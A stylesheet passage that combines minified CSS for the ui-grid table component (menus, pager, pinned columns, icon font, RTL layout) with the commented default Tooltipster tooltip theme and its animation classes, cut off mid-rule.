.ui-grid-menu-close-button:active,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active,.open>.dropdown-toggle.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button{color:transparent;background-color:rgba(0,0,0,0);border-color:rgba(0,0,0,0)}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active:hover,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active:hover,.open>.dropdown-toggle.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:hover,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active:focus,.open>.dropdown-toggle.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active.focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active.focus,.open>.dropdown-toggle.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.focus{color:transparent;background-color:rgba(0,0,0,0);border-color:rgba(0,0,0,0)}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active,.open>.dropdown-toggle.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button{background-image:none}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.disabled:hover,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button[disabled]:hover,fieldset[disabled] .ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:hover,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.disabled:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button[disabled]:focus,fieldset[disabled] .ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.disabled.focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button[disabled].focus,fieldset[disabled] .ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.focus{background-color:transparent;border-color:transparent}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button .badge{color:transparent;background-color:transparent}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button>i{opacity:.75;color:black}.ui-grid-menu .ui-grid-menu-inner ul{margin:0;padding:0;list-style-type:none}.ui-grid-menu .ui-grid-menu-inner ul li{padding:0}.ui-grid-menu .ui-grid-menu-inner ul li button{min-width:100%;padding:8px;text-align:left;background:transparent;border:none}.ui-grid-menu .ui-grid-menu-inner ul li button:hover,.ui-grid-menu .ui-grid-menu-inner ul li button:focus{-webkit-box-shadow:inset 0 0 14px rgba(0,0,0,0.2);-moz-box-shadow:inset 0 0 14px rgba(0,0,0,0.2);box-shadow:inset 0 0 14px rgba(0,0,0,0.2)}.ui-grid-menu .ui-grid-menu-inner ul li button.ui-grid-menu-item-active{-webkit-box-shadow:inset 0 0 14px rgba(0,0,0,0.2);-moz-box-shadow:inset 0 0 14px rgba(0,0,0,0.2);box-shadow:inset 0 0 14px rgba(0,0,0,0.2);background-color:#cecece}.ui-grid-menu .ui-grid-menu-inner ul li:not(:last-child)>button{border-bottom:1px solid #d4d4d4}.ui-grid-sortarrow{right:5px;position:absolute;width:20px;top:0;bottom:0;background-position:center}.ui-grid-sortarrow.down{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-o-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}@font-face{font-family:'ui-grid';src:url('ui-grid.eot');src:url('ui-grid.eot#iefix') format('embedded-opentype'),url('ui-grid.woff') format('woff'),url('ui-grid.ttf') format('truetype'),url('ui-grid.svg?#ui-grid') format('svg');font-weight:normal;font-style:normal}[class^="ui-grid-icon"]:before,[class*=" ui-grid-icon"]:before{font-family:"ui-grid";font-style:normal;font-weight:normal;speak:none;display:inline-block;text-decoration:inherit;width:1em;margin-right:.2em;text-align:center;font-variant:normal;text-transform:none;line-height:1em;margin-left:.2em}.ui-grid-icon-blank::before{width:1em;content:' '}.ui-grid-icon-plus-squared:before{content:'\c350'}.ui-grid-icon-minus-squared:before{content:'\c351'}.ui-grid-icon-search:before{content:'\c352'}.ui-grid-icon-cancel:before{content:'\c353'}.ui-grid-icon-info-circled:before{content:'\c354'}.ui-grid-icon-lock:before{content:'\c355'}.ui-grid-icon-lock-open:before{content:'\c356'}.ui-grid-icon-pencil:before{content:'\c357'}.ui-grid-icon-down-dir:before{content:'\c358'}.ui-grid-icon-up-dir:before{content:'\c359'}.ui-grid-icon-left-dir:before{content:'\c35a'}.ui-grid-icon-right-dir:before{content:'\c35b'}.ui-grid-icon-left-open:before{content:'\c35c'}.ui-grid-icon-right-open:before{content:'\c35d'}.ui-grid-icon-angle-down:before{content:'\c35e'}.ui-grid-icon-filter:before{content:'\c35f'}.ui-grid-icon-sort-alt-up:before{content:'\c360'}.ui-grid-icon-sort-alt-down:before{content:'\c361'}.ui-grid-icon-ok:before{content:'\c362'}.ui-grid-icon-menu:before{content:'\c363'}.ui-grid-icon-indent-left:before{content:'\e800'}.ui-grid-icon-indent-right:before{content:'\e801'}.ui-grid-icon-spin5:before{content:'\ea61'}.ui-grid[dir=rtl] .ui-grid-header-cell,.ui-grid[dir=rtl] .ui-grid-footer-cell,.ui-grid[dir=rtl] .ui-grid-cell{float:right !important}.ui-grid[dir=rtl] .ui-grid-column-menu-button{position:absolute;left:1px;top:0;right:inherit}.ui-grid[dir=rtl] .ui-grid-cell:first-child,.ui-grid[dir=rtl] .ui-grid-header-cell:first-child,.ui-grid[dir=rtl] .ui-grid-footer-cell:first-child{border-right:0}.ui-grid[dir=rtl] .ui-grid-cell:last-child,.ui-grid[dir=rtl] .ui-grid-header-cell:last-child{border-right:1px solid #d4d4d4;border-left:0}.ui-grid[dir=rtl] .ui-grid-header-cell:first-child .ui-grid-vertical-bar,.ui-grid[dir=rtl] .ui-grid-footer-cell:first-child .ui-grid-vertical-bar,.ui-grid[dir=rtl] .ui-grid-cell:first-child .ui-grid-vertical-bar{width:0}.ui-grid[dir=rtl] .ui-grid-menu-button{z-index:2;position:absolute;left:0;right:auto;background:#f3f3f3;border:1px solid #d4d4d4;cursor:pointer;min-height:27px;font-weight:normal}.ui-grid[dir=rtl] .ui-grid-menu-button .ui-grid-menu{left:0;right:auto}.ui-grid[dir=rtl] .ui-grid-filter-container .ui-grid-filter-button{right:initial;left:0}.ui-grid[dir=rtl] .ui-grid-filter-container .ui-grid-filter-button [class^="ui-grid-icon"]{right:initial;left:10px}.ui-grid-animate-spin{-moz-animation:ui-grid-spin 2s infinite linear;-o-animation:ui-grid-spin 2s infinite linear;-webkit-animation:ui-grid-spin 2s infinite linear;animation:ui-grid-spin 2s infinite linear;display:inline-block}@-moz-keyframes ui-grid-spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-webkit-keyframes ui-grid-spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-o-keyframes ui-grid-spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-ms-keyframes ui-grid-spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes ui-grid-spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:before,#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:before,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:before,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{content:" ";display:table}#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{clear:both}.ui-grid-cell-focus{outline:0;background-color:#b3c4c7}.ui-grid-focuser{position:absolute;left:0;top:0;z-index:-1;width:100%;height:100%}.ui-grid-focuser:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6)}.ui-grid-offscreen{display:block;position:absolute;left:-10000px;top:-10000px;clip:rect(0, 0, 0, 0)}div.ui-grid-cell input{border-radius:inherit;padding:0;width:100%;color:inherit;height:auto;font:inherit;outline:none}div.ui-grid-cell input:focus{color:inherit;outline:none}div.ui-grid-cell input[type="checkbox"]{margin:9px 0 0 6px;width:auto}div.ui-grid-cell input.ng-invalid{border:1px solid #fc8f8f}div.ui-grid-cell input.ng-valid{border:1px solid #d4d4d4}.ui-grid-viewport .ui-grid-empty-base-layer-container{position:absolute;overflow:hidden;pointer-events:none;z-index:-1}.expandableRow .ui-grid-row:nth-child(odd) .ui-grid-cell{background-color:#fdfdfd}.expandableRow .ui-grid-row:nth-child(even) .ui-grid-cell{background-color:#f3f3f3}.ui-grid-cell.ui-grid-disable-selection.ui-grid-row-header-cell{pointer-events:none}.ui-grid-expandable-buttons-cell i{pointer-events:all}.scrollFiller{float:left;border:1px solid #d4d4d4}.ui-grid-tree-header-row{font-weight:bold !important}.movingColumn{position:absolute;top:0;border:1px solid #d4d4d4;box-shadow:inset 0 0 14px rgba(0,0,0,0.2)}.movingColumn .ui-grid-icon-angle-down{display:none}#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:before,#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:before,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:before,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{content:" ";display:table}#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{clear:both}.ui-grid-pager-panel{position:absolute;left:0;bottom:0;width:100%;padding-top:3px;padding-bottom:3px;box-sizing:content-box}.ui-grid-pager-container{float:left}.ui-grid-pager-control{margin-right:10px;margin-left:10px;min-width:135px;float:left}.ui-grid-pager-control button{height:25px;min-width:26px;display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:14px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#eee;background-color:#f3f3f3;border-color:#ccc}.ui-grid-pager-control button:focus,.ui-grid-pager-control button:active:focus,.ui-grid-pager-control button.active:focus,.ui-grid-pager-control button.focus,.ui-grid-pager-control button:active.focus,.ui-grid-pager-control button.active.focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.ui-grid-pager-control button:hover,.ui-grid-pager-control button:focus,.ui-grid-pager-control button.focus{color:#333;text-decoration:none}.ui-grid-pager-control button:active,.ui-grid-pager-control button.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.ui-grid-pager-control button.disabled,.ui-grid-pager-control button[disabled],fieldset[disabled] .ui-grid-pager-control button{cursor:not-allowed;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}a.ui-grid-pager-control button.disabled,fieldset[disabled] a.ui-grid-pager-control button{pointer-events:none}.ui-grid-pager-control button:focus,.ui-grid-pager-control button.focus{color:#eee;background-color:#dadada;border-color:#8c8c8c}.ui-grid-pager-control button:hover{color:#eee;background-color:#dadada;border-color:#adadad}.ui-grid-pager-control button:active,.ui-grid-pager-control button.active,.open>.dropdown-toggle.ui-grid-pager-control button{color:#eee;background-color:#dadada;border-color:#adadad}.ui-grid-pager-control button:active:hover,.ui-grid-pager-control button.active:hover,.open>.dropdown-toggle.ui-grid-pager-control button:hover,.ui-grid-pager-control button:active:focus,.ui-grid-pager-control button.active:focus,.open>.dropdown-toggle.ui-grid-pager-control button:focus,.ui-grid-pager-control button:active.focus,.ui-grid-pager-control button.active.focus,.open>.dropdown-toggle.ui-grid-pager-control button.focus{color:#eee;background-color:#c8c8c8;border-color:#8c8c8c}.ui-grid-pager-control button:active,.ui-grid-pager-control button.active,.open>.dropdown-toggle.ui-grid-pager-control button{background-image:none}.ui-grid-pager-control button.disabled:hover,.ui-grid-pager-control button[disabled]:hover,fieldset[disabled] .ui-grid-pager-control button:hover,.ui-grid-pager-control button.disabled:focus,.ui-grid-pager-control button[disabled]:focus,fieldset[disabled] .ui-grid-pager-control button:focus,.ui-grid-pager-control button.disabled.focus,.ui-grid-pager-control button[disabled].focus,fieldset[disabled] .ui-grid-pager-control button.focus{background-color:#f3f3f3;border-color:#ccc}.ui-grid-pager-control button .badge{color:#f3f3f3;background-color:#eee}.ui-grid-pager-control input{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;display:inline;height:26px;width:50px;vertical-align:top}.ui-grid-pager-control input:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6)}.ui-grid-pager-control input::-moz-placeholder{color:#999;opacity:1}.ui-grid-pager-control input:-ms-input-placeholder{color:#999}.ui-grid-pager-control input::-webkit-input-placeholder{color:#999}.ui-grid-pager-control input::-ms-expand{border:0;background-color:transparent}.ui-grid-pager-control input[disabled],.ui-grid-pager-control input[readonly],fieldset[disabled] .ui-grid-pager-control input{background-color:#eee;opacity:1}.ui-grid-pager-control input[disabled],fieldset[disabled] .ui-grid-pager-control input{cursor:not-allowed}textarea.ui-grid-pager-control input{height:auto}select.ui-grid-pager-control input{height:30px;line-height:30px}textarea.ui-grid-pager-control input,select[multiple].ui-grid-pager-control input{height:auto}.ui-grid-pager-control .ui-grid-pager-max-pages-number{vertical-align:bottom}.ui-grid-pager-control .ui-grid-pager-max-pages-number>*{vertical-align:middle}.ui-grid-pager-control .first-bar{width:10px;border-left:2px solid #4d4d4d;margin-top:-6px;height:12px;margin-left:-3px}.ui-grid-pager-control .first-bar-rtl{width:10px;border-left:2px solid #4d4d4d;margin-top:-6px;height:12px;margin-right:-7px}.ui-grid-pager-control .first-triangle{width:0;height:0;border-style:solid;border-width:5px 8.7px 5px 0;border-color:transparent #4d4d4d transparent transparent;margin-left:2px}.ui-grid-pager-control .next-triangle{margin-left:1px}.ui-grid-pager-control .prev-triangle{margin-left:0}.ui-grid-pager-control .last-triangle{width:0;height:0;border-style:solid;border-width:5px 0 5px 8.7px;border-color:transparent transparent transparent #4d4d4d;margin-left:-1px}.ui-grid-pager-control .last-bar{width:10px;border-left:2px solid #4d4d4d;margin-top:-6px;height:12px;margin-left:1px}.ui-grid-pager-control .last-bar-rtl{width:10px;border-left:2px solid #4d4d4d;margin-top:-6px;height:12px;margin-right:-11px}.ui-grid-pager-row-count-picker{float:left}.ui-grid-pager-row-count-picker select{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;height:26px;width:67px;display:inline}.ui-grid-pager-row-count-picker select:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6)}.ui-grid-pager-row-count-picker select::-moz-placeholder{color:#999;opacity:1}.ui-grid-pager-row-count-picker select:-ms-input-placeholder{color:#999}.ui-grid-pager-row-count-picker select::-webkit-input-placeholder{color:#999}.ui-grid-pager-row-count-picker select::-ms-expand{border:0;background-color:transparent}.ui-grid-pager-row-count-picker select[disabled],.ui-grid-pager-row-count-picker select[readonly],fieldset[disabled] .ui-grid-pager-row-count-picker select{background-color:#eee;opacity:1}.ui-grid-pager-row-count-picker select[disabled],fieldset[disabled] .ui-grid-pager-row-count-picker select{cursor:not-allowed}textarea.ui-grid-pager-row-count-picker select{height:auto}select.ui-grid-pager-row-count-picker select{height:30px;line-height:30px}textarea.ui-grid-pager-row-count-picker select,select[multiple].ui-grid-pager-row-count-picker select{height:auto}.ui-grid-pager-row-count-picker .ui-grid-pager-row-count-label{margin-top:3px}.ui-grid-pager-count-container{float:right;margin-top:4px;min-width:50px}.ui-grid-pager-count-container .ui-grid-pager-count{margin-right:10px;margin-left:10px;float:right}.ui-grid-pinned-container{position:absolute;display:inline;top:0}.ui-grid-pinned-container.ui-grid-pinned-container-left{float:left;left:0}.ui-grid-pinned-container.ui-grid-pinned-container-right{float:right;right:0}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-header-cell:last-child{box-sizing:border-box;border-right:1px solid;border-width:1px;border-right-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-cell:last-child{box-sizing:border-box;border-right:1px solid;border-width:1px;border-right-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-header-cell:not(:last-child) .ui-grid-vertical-bar,.ui-grid-pinned-container .ui-grid-cell:not(:last-child) .ui-grid-vertical-bar{width:1px}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-header-cell:not(:last-child) .ui-grid-vertical-bar{background-color:#d4d4d4}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-cell:not(:last-child) .ui-grid-vertical-bar{background-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-left .ui-grid-header-cell:last-child .ui-grid-vertical-bar{right:-1px;width:1px;background-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-right .ui-grid-header-cell:first-child{box-sizing:border-box;border-left:1px solid;border-width:1px;border-left-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-right .ui-grid-cell:first-child{box-sizing:border-box;border-left:1px solid;border-width:1px;border-left-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-right .ui-grid-header-cell:not(:first-child) .ui-grid-vertical-bar,.ui-grid-pinned-container .ui-grid-cell:not(:first-child) .ui-grid-vertical-bar{width:1px}.ui-grid-pinned-container.ui-grid-pinned-container-right .ui-grid-header-cell:not(:first-child) .ui-grid-vertical-bar{background-color:#d4d4d4}.ui-grid-pinned-container.ui-grid-pinned-container-right .ui-grid-cell:not(:last-child) .ui-grid-vertical-bar{background-color:#aeaeae}.ui-grid-pinned-container.ui-grid-pinned-container-first .ui-grid-header-cell:first-child .ui-grid-vertical-bar{left:-1px;width:1px;background-color:#aeaeae}.ui-grid-column-resizer{top:0;bottom:0;width:5px;position:absolute;cursor:col-resize}.ui-grid-column-resizer.left{left:0}.ui-grid-column-resizer.right{right:0}.ui-grid-header-cell:last-child .ui-grid-column-resizer.right{border-right:1px solid #d4d4d4}.ui-grid[dir=rtl] .ui-grid-header-cell:last-child .ui-grid-column-resizer.right{border-right:0}.ui-grid[dir=rtl] .ui-grid-header-cell:last-child .ui-grid-column-resizer.left{border-left:1px solid #d4d4d4}.ui-grid.column-resizing{cursor:col-resize}.ui-grid.column-resizing .ui-grid-resize-overlay{position:absolute;top:0;height:100%;width:1px;background-color:#aeaeae}.ui-grid-row-saving .ui-grid-cell{color:#848484 !important}.ui-grid-row-dirty .ui-grid-cell{color:#610b38}.ui-grid-row-error .ui-grid-cell{color:#f00 !important}.ui-grid-row.ui-grid-row-selected>[ui-grid-row]>.ui-grid-cell{background-color:#c9dde1}.ui-grid-disable-selection{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.ui-grid-selection-row-header-buttons{cursor:pointer;opacity:.1}.ui-grid-selection-row-header-buttons.ui-grid-row-selected{opacity:1}.ui-grid-selection-row-header-buttons.ui-grid-all-selected{opacity:1}.ui-grid-tree-row-header-buttons.ui-grid-tree-header{cursor:pointer;opacity:1}.ui-grid-tree-header-row{font-weight:bold !important}.ui-grid-tree-header-row .ui-grid-cell.ui-grid-disable-selection.ui-grid-row-header-cell{pointer-events:all}div.ui-grid-cell-contents.invalid{border:1px solid #fc8f8f}
/* This is the default Tooltipster theme (feel free to modify or duplicate and create multiple themes!): */
.tooltipster-default {
    border-radius: 5px;
    border: 2px solid #000;
    background: #4c4c4c;
    color: #fff;
}

/* Use this next selector to style things like font-size and line-height: */
.tooltipster-default .tooltipster-content {
    font-family: Arial, sans-serif;
    font-size: 14px;
    line-height: 16px;
    padding: 8px 10px;
    overflow: hidden;
}

/* This next selector defines the color of the border on the outside of the arrow. This will automatically match the color and size of the border set on the main tooltip styles. Set display: none; if you would like a border around the tooltip but no border around the arrow */
.tooltipster-default .tooltipster-arrow .tooltipster-arrow-border {
	/* border-color: ... !important; */
}


/* If you're using the icon option, use this next selector to style them */
.tooltipster-icon {
	cursor: help;
	margin-left: 4px;
}








/* This is the base styling required to make all Tooltipsters work */
.tooltipster-base {
	padding: 0;
	font-size: 0;
	line-height: 0;
	position: absolute;
	left: 0;
	top: 0;
	z-index: 9999999;
	pointer-events: none;
	width: auto;
	overflow: visible;
}
.tooltipster-base .tooltipster-content {
	overflow: hidden;
}


/* These next classes handle the styles for the little arrow attached to the tooltip. By default, the arrow will inherit the same colors and border as what is set on the main tooltip itself. */
.tooltipster-arrow {
	display: block;
	text-align: center;
	width: 100%;
	height: 100%;
	position: absolute;
	top: 0;
	left: 0;
	z-index: -1;
}
.tooltipster-arrow span, .tooltipster-arrow-border {
	display: block;
	width: 0; 
	height: 0;
	position: absolute;
}
.tooltipster-arrow-top span, .tooltipster-arrow-top-right span, .tooltipster-arrow-top-left span {
	border-left: 8px solid transparent !important;
	border-right: 8px solid transparent !important;
	border-top: 8px solid;
	bottom: -7px;
}
.tooltipster-arrow-top .tooltipster-arrow-border, .tooltipster-arrow-top-right .tooltipster-arrow-border, .tooltipster-arrow-top-left .tooltipster-arrow-border {
	border-left: 9px solid transparent !important;
	border-right: 9px solid transparent !important;
	border-top: 9px solid;
	bottom: -7px;
}

.tooltipster-arrow-bottom span, .tooltipster-arrow-bottom-right span, .tooltipster-arrow-bottom-left span {
	border-left: 8px solid transparent !important;
	border-right: 8px solid transparent !important;
	border-bottom: 8px solid;
	top: -7px;
}
.tooltipster-arrow-bottom .tooltipster-arrow-border, .tooltipster-arrow-bottom-right .tooltipster-arrow-border, .tooltipster-arrow-bottom-left .tooltipster-arrow-border {
	border-left: 9px solid transparent !important;
	border-right: 9px solid transparent !important;
	border-bottom: 9px solid;
	top: -7px;
}
.tooltipster-arrow-top span, .tooltipster-arrow-top .tooltipster-arrow-border, .tooltipster-arrow-bottom span, .tooltipster-arrow-bottom .tooltipster-arrow-border {
	left: 0;
	right: 0;
	margin: 0 auto;
}
.tooltipster-arrow-top-left span, .tooltipster-arrow-bottom-left span {
	left: 6px;
}
.tooltipster-arrow-top-left .tooltipster-arrow-border, .tooltipster-arrow-bottom-left .tooltipster-arrow-border {
	left: 5px;
}
.tooltipster-arrow-top-right span,  .tooltipster-arrow-bottom-right span {
	right: 6px;
}
.tooltipster-arrow-top-right .tooltipster-arrow-border, .tooltipster-arrow-bottom-right .tooltipster-arrow-border {
	right: 5px;
}
.tooltipster-arrow-left span, .tooltipster-arrow-left .tooltipster-arrow-border {
	border-top: 8px solid transparent !important;
	border-bottom: 8px solid transparent !important; 
	border-left: 8px solid;
	top: 50%;
	margin-top: -7px;
	right: -7px;
}
.tooltipster-arrow-left .tooltipster-arrow-border {
	border-top: 9px solid transparent !important;
	border-bottom: 9px solid transparent !important; 
	border-left: 9px solid;
	margin-top: -8px;
}
.tooltipster-arrow-right span, .tooltipster-arrow-right .tooltipster-arrow-border {
	border-top: 8px solid transparent !important;
	border-bottom: 8px solid transparent !important; 
	border-right: 8px solid;
	top: 50%;
	margin-top: -7px;
	left: -7px;
}
.tooltipster-arrow-right .tooltipster-arrow-border {
	border-top: 9px solid transparent !important;
	border-bottom: 9px solid transparent !important; 
	border-right: 9px solid;
	margin-top: -8px;
}


/* Some CSS magic for the awesome animations - feel free to make your own custom animations and reference it in your Tooltipster settings! */

.tooltipster-fade {
	opacity: 0;
	-webkit-transition-property: opacity;
	-moz-transition-property: opacity;
	-o-transition-property: opacity;
	-ms-transition-property: opacity;
	transition-property: opacity;
}
.tooltipster-fade-show {
	opacity: 1;
}

.tooltipster-grow {
	-webkit-transform: scale(0,0);
	-moz-transform: scale(0,0);
	-o-transform: scale(0,0);
	-ms-transform: scale(0,0);
	transform: scale(0,0);
	-webkit-transition-property: -webkit-transform;
	-moz-transition-property: -moz-transform;
	-o-transition-property: -o-transform;
	-ms-transition-property: -ms-transform;
	transition-property: transform;
	-webkit-backface-visibility: hidden;
}
.tooltipster-grow-show {
	-webkit-transform: scale(1,1);
	-moz-transform: scale(1,1);
	-o-transform: scale(1,1);
	-ms-transform: scale(1,1);
	transform: scale(1,1);
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-moz-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-ms-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-o-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15);
}

.tooltipster-swing {
	opacity: 0;
	-webkit-transform: rotateZ(4deg);
	-moz-transform: rotateZ(4deg);
	-o-transform: rotateZ(4deg);
	-ms-transform: rotateZ(4deg);
	transform: rotateZ(4deg);
	-webkit-transition-property: -webkit-transform, opacity;
	-moz-transition-property: -moz-transform;
	-o-transition-property: -o-transform;
	-ms-transition-property: -ms-transform;
	transition-property: transform;
}
.tooltipster-swing-show {
	opacity: 1;
	-webkit-transform: rotateZ(0deg);
	-moz-transform: rotateZ(0deg);
	-o-transform: rotateZ(0deg);
	-ms-transform: rotateZ(0deg);
	transform: rotateZ(0deg);
	-webkit-transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 1);
	-webkit-transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 2.4); 
	-moz-transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 2.4); 
	-ms-transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 2.4); 
	-o-transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 2.4); 
	transition-timing-function: cubic-bezier(0.230, 0.635, 0.495, 2.4);
}

.tooltipster-fall {
	top: 0;
	-webkit-transition-property: top;
	-moz-transition-property: top;
	-o-transition-property: top;
	-ms-transition-property: top;
	transition-property: top;
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);
	-webkit-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-moz-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-ms-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	-o-transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
	transition-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1.15); 
}
.tooltipster-fall-show {
}
.tooltipster-fall.tooltipster-dying {
	-webkit-transition-property: all;
	-moz-transition-property: all;
	-o-transition-property: all;
	-ms-transition-property: all;
	transition-property: all;
	top: 0px !important;
	opacity: 0;
}

.tooltipster-slide {
	left: -40px;
	-webkit-transition-property: left;
	-moz-transition-property: left;
	-o-transition-property: left;
